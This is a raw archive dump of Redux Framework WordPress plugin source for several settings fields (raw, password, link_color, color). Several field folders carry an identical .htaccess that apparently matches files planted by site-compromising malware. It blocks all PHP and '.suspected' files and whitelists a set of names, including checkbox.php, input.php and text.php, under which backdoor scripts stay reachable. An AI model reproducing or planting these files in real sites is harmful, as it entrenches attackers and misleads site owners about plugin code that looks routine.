$instance; return $instance; } private static $instances = array(); # # Fields # protected $DefinitionData; # # Read-Only protected $specialCharacters = array( '\\', '`', '*', '_', '{', '}', '[', ']', '(', ')', '>', '#', '+', '-', '.', '!', '|', ); protected $StrongRegex = array( '*' => '/^[*]{2}((?:\\\\\*|[^*]|[*][^*]*[*])+?)[*]{2}(?![*])/s', '_' => '/^__((?:\\\\_|[^_]|_[^_]*_)+?)__(?!_)/us', ); protected $EmRegex = array( '*' => '/^[*]((?:\\\\\*|[^*]|[*][*][^*]+?[*][*])+?)[*](?![*])/s', '_' => '/^_((?:\\\\_|[^_]|__[^_]*__)+?)_(?!_)\b/us', ); protected $regexHtmlAttribute = '[a-zA-Z_:][\w:.-]*(?:\s*=\s*(?:[^"\'=<>`\s]+|"[^"]*"|\'[^\']*\'))?'; protected $voidElements = array( 'area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'link', 'meta', 'param', 'source', ); protected $textLevelElements = array( 'a', 'br', 'bdo', 'abbr', 'blink', 'nextid', 'acronym', 'basefont', 'b', 'em', 'big', 'cite', 'small', 'spacer', 'listing', 'i', 'rp', 'del', 'code', 'strike', 'marquee', 'q', 'rt', 'ins', 'font', 'strong', 's', 'tt', 'kbd', 'mark', 'u', 'xm', 'sub', 'nobr', 'sup', 'ruby', 'var', 'span', 'wbr', 'time', ); } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/raw/field_raw.php��������������������������������������������������������0000644�����������������00000004027�14720701300�0015140 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_raw' ) ) { class ReduxFramework_raw { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 3.0.4 */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { if ( ! empty( $this->field['include'] ) && file_exists( $this->field['include'] ) ) { require_once $this->field['include']; } if ( isset( $this->field['content_path'] ) && ! empty( $this->field['content_path'] ) && file_exists( $this->field['content_path'] ) ) { $this->field['content'] = $this->parent->filesystem->execute( 'get_contents', $this->field['content_path'] ); } if ( ! empty( $this->field['content'] ) && isset( $this->field['content'] ) ) { if ( isset( $this->field['markdown'] ) && $this->field['markdown'] == true && ! empty( $this->field['content'] ) ) { require_once dirname( __FILE__ ) . "/parsedown.php"; $Parsedown = new Parsedown(); echo $Parsedown->text( $this->field['content'] ); } else { echo $this->field['content']; } } do_action( 'redux-field-raw-' . $this->parent->args['opt_name'] . '-' . $this->field['id'] ); } } }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/raw/.htaccess������������������������������������������������������������0000644�����������������00000001626�14720701300�0014273 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/password/.htaccess�������������������������������������������������������0000644�����������������00000001626�14720701300�0015344 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/password/field_password.php����������������������������������������������0000644�����������������00000010640�14720701300�0017260 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class ReduxFramework_password */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_password' ) ) { class ReduxFramework_password { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.1 */ function __construct( $field , $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.1 */ function render() { if ( ! empty( $this->field['username'] ) && $this->field['username'] === true ) { $this->_render_combined_field(); } else { $this->_render_single_field(); } } /** * This will render a combined User/Password field * * @since ReduxFramework 3.0.9 * @example * <code> * array( * 'id' => 'smtp_account', * 'type' => 'password', * 'username' => true, * 'title' => 'SMTP Account', * 'placeholder' => array('username' => 'Username') * ) * </code> */ private function _render_combined_field() { $defaults = array( 'username' => '', 'password' => '', 'placeholder' => array( 'password' => __( 'Password', 'redux-framework' ), 'username' => __( 'Username', 'redux-framework' ) ) ); $this->value = wp_parse_args( $this->value, $defaults ); if ( ! empty( $this->field['placeholder'] ) ) { if ( is_array( $this->field['placeholder'] ) ) { if ( ! empty( $this->field['placeholder']['password'] ) ) { $this->value['placeholder']['password'] = $this->field['placeholder']['password']; } if ( ! empty( $this->field['placeholder']['username'] ) ) { $this->value['placeholder']['username'] = $this->field['placeholder']['username']; } } else { $this->value['placeholder']['password'] = $this->field['placeholder']; } } // Username field echo '<input type="text" autocomplete="off" placeholder="' . $this->value['placeholder']['username'] . '" id="' . $this->field['id'] . '[username]" name="' . $this->field['name'] . $this->field['name_suffix'] . '[username]' . '" value="' . esc_attr( $this->value['username'] ) . '" class="' . $this->field['class'] . '" /> '; // Password field echo '<input type="password" autocomplete="off" placeholder="' . $this->value['placeholder']['password'] . '" id="' . $this->field['id'] . '[password]" name="' . $this->field['name'] . $this->field['name_suffix'] . '[password]' . '" value="' . esc_attr( $this->value['password'] ) . '" class="' . $this->field['class'] . '" />'; } /** * This will render a single Password field * * @since ReduxFramework 3.0.9 * @example * <code> * array( * 'id' => 'smtp_password', * 'type' => 'password', * 'title' => 'SMTP Password' * ) * </code> */ private function _render_single_field() { echo '<input type="password" id="' . $this->field['id'] . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '" value="' . esc_attr( $this->value ) . '" class="' . $this->field['class'] . '" />'; } } }������������������������������������������������������������������������������������������������redux-framework/inc/fields/link_color/field_link_color.css.map��������������������������������������0000644�����������������00000000273�14720701300�0020620 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,sCAAW;EACP,OAAO,EAAE,YAAY;EACrB,aAAa,EAAE,IAAI;EACnB,cAAc,EAAE,GAAG", "sources": ["field_link_color.scss"], "names": [], "file": "field_link_color.css" }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/link_color/field_link_color.min.js���������������������������������������0000644�����������������00000003162�14720701300�0020452 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(i){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.link_color=redux.field_objects.link_color||{},i(document).ready(function(){}),redux.field_objects.link_color.init=function(e){e||(e=i(document).find(".redux-container-link_color:visible")),i(e).each(function(){var n=i(this),e=n;n.hasClass("redux-field-container")||(e=n.parents(".redux-field-container:first")),e.is(":hidden")||e.hasClass("redux-field-init")&&(e.removeClass("redux-field-init"),n.find(".redux-color-init").wpColorPicker({change:function(e,t){i(this).val(t.color.toString()),redux_change(i(this)),n.find("#"+e.target.getAttribute("data-id")+"-transparency").removeAttr("checked")},clear:function(e,t){i(this).val(t.color.toString()),redux_change(i(this).parent().find(".redux-color-init"))}}),n.find(".redux-color").on("keyup",function(){var e=i(this).val(),t=colorValidate(this),r="#"+i(this).attr("id");"transparent"===e?(i(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),n.find(r+"-transparency").attr("checked","checked")):(n.find(r+"-transparency").removeAttr("checked"),t&&t!==i(this).val()&&i(this).val(t))}),n.find(".redux-color").on("blur",function(){var e=i(this).val(),t="#"+i(this).attr("id");"transparent"===e?(i(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),n.find(t+"-transparency").attr("checked","checked")):(colorValidate(this)===e&&0!==e.indexOf("#")&&i(this).val(i(this).data("oldcolor")),n.find(t+"-transparency").removeAttr("checked"))}),n.find(".redux-color").on("keydown",function(){i(this).data("oldkeypress",i(this).val())}))})}}(jQuery);��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/link_color/field_link_color.css������������������������������������������0000644�����������������00000000357�14720701300�0020047 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-link_color .linkColor{display:inline-block;padding-right:10px;padding-bottom:7px}.redux-container-link_color .linkColor strong{display:table;margin-bottom:5px;margin-left:3px;font-size:12px;font-weight:normal;color:#999} ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/link_color/field_link_color.php������������������������������������������0000644�����������������00000025713�14720701300�0020051 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Link_Color * @author Luciano "WebCaos" Ubertini * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @author Kevin Provance (kprovance) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_link_color' ) ) { /** * Main ReduxFramework_link_color class * * @since 1.0.0 */ class ReduxFramework_link_color { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $defaults = array( 'regular' => true, 'hover' => true, 'visited' => false, 'active' => true, 'focus' => false ); $this->field = wp_parse_args( $this->field, $defaults ); $defaults = array( 'regular' => '', 'hover' => '', 'visited' => '', 'active' => '', 'focus' => '' ); $this->value = wp_parse_args( $this->value, $defaults ); // In case user passes no default values. if ( isset( $this->field['default'] ) ) { $this->field['default'] = wp_parse_args( $this->field['default'], $defaults ); } else { $this->field['default'] = $defaults; } } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { if ( $this->field['regular'] === true && $this->field['default']['regular'] !== false ) { echo '<span class="linkColor"><strong>' . __( 'Regular', 'redux-framework' ) . '</strong> <input id="' . $this->field['id'] . '-regular" name="' . $this->field['name'] . $this->field['name_suffix'] . '[regular]' . '" value="' . $this->value['regular'] . '" class="redux-color redux-color-regular redux-color-init ' . $this->field['class'] . '" type="text" data-default-color="' . $this->field['default']['regular'] . '" /></span>'; } if ( $this->field['hover'] === true && $this->field['default']['hover'] !== false ) { echo '<span class="linkColor"><strong>' . __( 'Hover', 'redux-framework' ) . '</strong> <input id="' . $this->field['id'] . '-hover" name="' . $this->field['name'] . $this->field['name_suffix'] . '[hover]' . '" value="' . $this->value['hover'] . '" class="redux-color redux-color-hover redux-color-init ' . $this->field['class'] . '" type="text" data-default-color="' . $this->field['default']['hover'] . '" /></span>'; } if ( $this->field['visited'] === true && $this->field['default']['visited'] !== false ) { echo '<span class="linkColor"><strong>' . __( 'Visited', 'redux-framework' ) . '</strong> <input id="' . $this->field['id'] . '-visited" name="' . $this->field['name'] . $this->field['name_suffix'] . '[visited]' . '" value="' . $this->value['visited'] . '" class="redux-color redux-color-visited redux-color-init ' . $this->field['class'] . '" type="text" data-default-color="' . $this->field['default']['visited'] . '" /></span>'; } if ( $this->field['active'] === true && $this->field['default']['active'] !== false ) { echo '<span class="linkColor"><strong>' . __( 'Active', 'redux-framework' ) . '</strong> <input id="' . $this->field['id'] . '-active" name="' . $this->field['name'] . $this->field['name_suffix'] . '[active]' . '" value="' . $this->value['active'] . '" class="redux-color redux-color-active redux-color-init ' . $this->field['class'] . '" type="text" data-default-color="' . $this->field['default']['active'] . '" /></span>'; } if ( $this->field['focus'] === true && $this->field['default']['focus'] !== false ) { echo '<span class="linkColor"><strong>' . __( 'Focus', 'redux-framework' ) . '</strong> <input id="' . $this->field['id'] . '-focus" name="' . $this->field['name'] . $this->field['name_suffix'] . '[focus]' . '" value="' . $this->value['focus'] . '" class="redux-color redux-color-focus redux-color-init ' . $this->field['class'] . '" type="text" data-default-color="' . $this->field['default']['focus'] . '" /></span>'; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'redux-field-link-color-js', ReduxFramework::$_url . 'inc/fields/link_color/field_link_color' . Redux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'redux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-color-picker-css' ); wp_enqueue_style( 'redux-field-link_color-js', ReduxFramework::$_url . 'inc/fields/link_color/field_link_color.css', array(), time(), 'all' ); } } public function output() { $style = array(); if ( ! empty( $this->value['regular'] ) && $this->field['regular'] === true && $this->field['default']['regular'] !== false ) { $style[] = 'color:' . $this->value['regular'] . ';'; } if ( ! empty( $this->value['visited'] ) && $this->field['visited'] === true && $this->field['default']['visited'] !== false ) { $style['visited'] = 'color:' . $this->value['visited'] . ';'; } if ( ! empty( $this->value['hover'] ) && $this->field['hover'] === true && $this->field['default']['hover'] !== false ) { $style['hover'] = 'color:' . $this->value['hover'] . ';'; } if ( ! empty( $this->value['active'] ) && $this->field['active'] === true && $this->field['default']['active'] !== false ) { $style['active'] = 'color:' . $this->value['active'] . ';'; } if ( ! empty( $this->value['focus'] ) && $this->field['focus'] === true && $this->field['default']['focus'] !== false ) { $style['focus'] = 'color:' . $this->value['focus'] . ';'; } if ( ! empty( $style ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $styleString = ""; foreach ( $style as $key => $value ) { if ( is_numeric( $key ) ) { $styleString .= implode( ",", $this->field['output'] ) . "{" . $value . '}'; } else { if ( count( $this->field['output'] ) == 1 ) { foreach($this->field['output'] as $sel => $elem) { continue; } if (strpos($elem, ',') != false) { $selector_arr = explode(',',$elem); $sel_list = ''; foreach($selector_arr as $idx => $selector) { $sel_list .= $selector . ":" . $key . ","; } $sel_list = rtrim($sel_list,','); $styleString .= $sel_list . "{" . $value . '}'; } else { $styleString .= $elem . ":" . $key . "{" . $value . '}'; } } else { $blah = ''; foreach($this->field['output'] as $k => $sel) { $blah .= $sel . ':' . $key . ','; } $blah = substr($blah, 0, strlen($blah) - 1); $styleString .= $blah . '{' . $value . '}'; } } } $this->parent->outputCSS .= $styleString; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $styleString = ""; foreach ( $style as $key => $value ) { if ( is_numeric( $key ) ) { $styleString .= implode( ",", $this->field['compiler'] ) . "{" . $value . '}'; } else { if ( count( $this->field['compiler'] ) == 1 ) { $styleString .= $this->field['compiler'][0] . ":" . $key . "{" . $value . '}'; } else { $blah = ''; foreach($this->field['compiler'] as $k => $sel) { $blah .= $sel . ':' . $key . ','; } $blah = substr($blah, 0, strlen($blah) - 1); $styleString .= $blah . '{' . $value . '}'; } } } $this->parent->compilerCSS .= $styleString; } } } } }�����������������������������������������������������redux-framework/inc/fields/link_color/field_link_color.js�������������������������������������������0000644�����������������00000007763�14720701300�0017703 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* Field Link Color */ /*global jQuery, document, redux_change, redux*/ (function( $ ) { 'use strict'; redux.field_objects = redux.field_objects || {}; redux.field_objects.link_color = redux.field_objects.link_color || {}; $( document ).ready( function() { } ); redux.field_objects.link_color.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.redux-container-link_color:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.redux-color-init' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ) ); el.find( '#' + e.target.getAttribute( 'data-id' ) + '-transparency' ).removeAttr( 'checked' ); }, clear: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ).parent().find( '.redux-color-init' ) ); } } ); el.find( '.redux-color' ).on( 'keyup', function() { var value = $( this ).val(); var color = colorValidate( this ); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { el.find( id + '-transparency' ).removeAttr( 'checked' ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } } ); // Replace and validate field on blur el.find( '.redux-color' ).on( 'blur', function() { var value = $( this ).val(); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } el.find( id + '-transparency' ).removeAttr( 'checked' ); } } ); // Store the old valid color on keydown el.find( '.redux-color' ).on( 'keydown', function() { $( this ).data( 'oldkeypress', $( this ).val() ); } ); } ); }; })( jQuery ); �������������redux-framework/inc/fields/link_color/field_link_color.scss�����������������������������������������0000644�����������������00000000562�14720701300�0020230 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-link_color { .linkColor { display: inline-block; padding-right: 10px; padding-bottom: 7px; strong { display: table; margin-bottom: 5px; margin-left: 3px; font-size: 12px; font-weight: normal; color: #999; } } } ����������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/link_color/.htaccess�����������������������������������������������������0000644�����������������00000001626�14720701300�0015635 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color/field_color.php����������������������������������������������������0000644�����������������00000011161�14720701300�0016007 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Color * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_color' ) ) { /** * Main ReduxFramework_color class * * @since 1.0.0 */ class ReduxFramework_color { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field , $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { echo '<input data-id="' . $this->field['id'] . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '" id="' . $this->field['id'] . '-color" class="redux-color redux-color-init ' . $this->field['class'] . '" type="text" value="' . $this->value . '" data-oldcolor="" data-default-color="' . ( isset( $this->field['default'] ) ? $this->field['default'] : "" ) . '" />'; echo '<input type="hidden" class="redux-saved-color" id="' . $this->field['id'] . '-saved-color' . '" value="">'; if ( ! isset( $this->field['transparent'] ) || $this->field['transparent'] !== false ) { $tChecked = ""; if ( $this->value == "transparent" ) { $tChecked = ' checked="checked"'; } echo '<label for="' . $this->field['id'] . '-transparency" class="color-transparency-check"><input type="checkbox" class="checkbox color-transparency ' . $this->field['class'] . '" id="' . $this->field['id'] . '-transparency" data-id="' . $this->field['id'] . '-color" value="1"' . $tChecked . '> ' . __( 'Transparent', 'redux-framework' ) . '</label>'; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-color-picker-css' ); } wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'redux-field-color-js', ReduxFramework::$_url . 'inc/fields/color/field_color' . Redux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'redux-js' ), time(), true ); } public function output() { $style = ''; if ( ! empty( $this->value ) ) { $mode = ( isset( $this->field['mode'] ) && ! empty( $this->field['mode'] ) ? $this->field['mode'] : 'color' ); $style .= $mode . ':' . $this->value . ';'; if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $css = Redux_Functions::parseCSS( $this->field['output'], $style, $this->value ); $this->parent->outputCSS .= $css; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $css = Redux_Functions::parseCSS( $this->field['compiler'], $style, $this->value ); $this->parent->compilerCSS .= $css; } } } } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color/field_color.js�����������������������������������������������������0000644�����������������00000017146�14720701300�0015645 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* Field Color (color) */ /*global jQuery, document, redux_change, redux*/ (function( $ ) { 'use strict'; redux.field_objects = redux.field_objects || {}; redux.field_objects.color = redux.field_objects.color || {}; $( document ).ready( function() { } ); redux.field_objects.color.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-color:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } // var $control = el.find( '.redux-color-init' ), // // value = $control.val().replace( /\s+/g, '' ), // alpha_val = 100, // $alpha, $alpha_output; // //console.log($control); // if ( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ ) ) { // alpha_val = parseFloat( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ )[ 1 ] ) * 100; // } el.find( '.redux-color-init' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ) ); el.find( '#' + e.target.getAttribute( 'data-id' ) + '-transparency' ).removeAttr( 'checked' ); }, clear: function( e, ui ) { $( this ).val( '' ); redux_change( $( this ).parent().find( '.redux-color-init' ) ); } } ); // $( '<div class="redux-alpha-container">' // + '<label>Alpha: <output class="rangevalue">' + alpha_val + '%</output></label>' // + '<input type="range" min="1" max="100" value="' + alpha_val + '" name="alpha" class="vc_alpha-field">' // + '</div>' ).appendTo( $control.parents( '.wp-picker-container:first' ).addClass( 'vc_color-picker' ).find( '.iris-picker' ) ); // $alpha = $control.parents( '.wp-picker-container:first' ).find( '.vc_alpha-field' ); // //console.log($alpha); // $alpha_output = $control.parents( '.wp-picker-container:first' ).find( '.redux-alpha-container output' ); // $alpha.bind( 'change keyup', function () { // var alpha_val = parseFloat( $alpha.val() ), // iris = $control.data( 'a8cIris' ), // color_picker = $control.data( 'wp-wpColorPicker' ); // //console.log(alpha_val); // $alpha_output.val( $alpha.val() + '%' ); // console.log(alpha_val / 100.0); // iris._color._alpha = parseFloat(alpha_val / 100.0); // console.log(iris._color); // //$control.val( iris._color.toString() ); // el.find( '.redux-color-init' ).wpColorPicker( 'color', iris._color.toString() ); // //console.log($control.val()); // //color_picker.toggler.css( { backgroundColor: $control.val() } ); // } ).val( alpha_val ).trigger( 'change' ); el.find( '.redux-color' ).on( 'focus', function() { $( this ).data( 'oldcolor', $( this ).val() ); } ); el.find( '.redux-color' ).on( 'keyup', function() { var value = $( this ).val(); var color = colorValidate( this ); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { el.find( id + '-transparency' ).removeAttr( 'checked' ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } } ); // Replace and validate field on blur el.find( '.redux-color' ).on( 'blur', function() { var value = $( this ).val(); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } el.find( id + '-transparency' ).removeAttr( 'checked' ); } } ); // Store the old valid color on keydown el.find( '.redux-color' ).on( 'keydown', function() { $( this ).data( 'oldkeypress', $( this ).val() ); } ); // When transparency checkbox is clicked el.find( '.color-transparency' ).on( 'click', function() { if ( $( this ).is( ":checked" ) ) { el.find( '.redux-saved-color' ).val( $( '#' + $( this ).data( 'id' ) ).val() ); el.find( '#' + $( this ).data( 'id' ) ).val( 'transparent' ); el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); } else { if ( el.find( '#' + $( this ).data( 'id' ) ).val() === 'transparent' ) { var prevColor = $( '.redux-saved-color' ).val(); if ( prevColor === '' ) { prevColor = $( '#' + $( this ).data( 'id' ) ).data( 'default-color' ); } el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', prevColor ); el.find( '#' + $( this ).data( 'id' ) 